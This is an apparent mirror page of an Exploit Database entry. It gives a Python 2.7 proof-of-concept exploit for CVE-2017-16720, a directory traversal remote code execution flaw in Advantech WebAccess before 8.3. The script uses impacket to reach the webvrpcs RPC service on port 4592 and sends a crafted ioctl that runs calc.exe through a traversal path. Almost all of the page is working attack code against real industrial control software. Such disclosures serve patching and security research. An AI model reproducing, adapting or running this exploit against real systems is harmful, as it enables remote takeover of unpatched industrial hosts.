Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution

• Exploit Database
• 109 阅读

• 作者： Chris Lyne
  日期： 2018-03-12
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44278/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75

  #!/usr/bin/python2.7   # Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability # Date: 03-11-2018 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: www.advantech.com # Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe # Version: Advantech WebAccess 8.2-2017.08.18 # Tested on: Windows Server 2008 R2 Enterprise 64-bit # CVE : CVE-2017-16720 # See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/   import sys, struct from impacket import uuid from impacket.dcerpc.v5 import transport   def call(dce, opcode, stubdata): dce.call(opcode, stubdata) res = -1 try: res = dce.recv() except Exception, e: print "Exception encountered..." + str(e) sys.exit(1) return res   if len(sys.argv) != 2: print "Provide only host arg" sys.exit(1)   port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0"   host = sys.argv[1]   string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port)   dce = trans.get_dce_rpc() dce.connect()   print "Binding..." iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid)   print "...1" stubdata = struct.pack("<III", 0x00, 0xc351, 0x04) call(dce, 2, stubdata)   print "...2" stubdata = struct.pack("<I", 0x02) res = call(dce, 4, stubdata) if res == -1: print "Something went wrong" sys.exit(1) res = struct.unpack("III", res)   if (len(res) < 3): print "Received unexpected length value" sys.exit(1)   print "...3" # ioctl 0x2711 stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204) command = "..\\..\\windows\\system32\\calc.exe" fmt = "<" + str(0x204) + "s" stubdata += struct.pack(fmt, command) call(dce, 1, stubdata)   print "\nDid it work?"   dce.disconnect()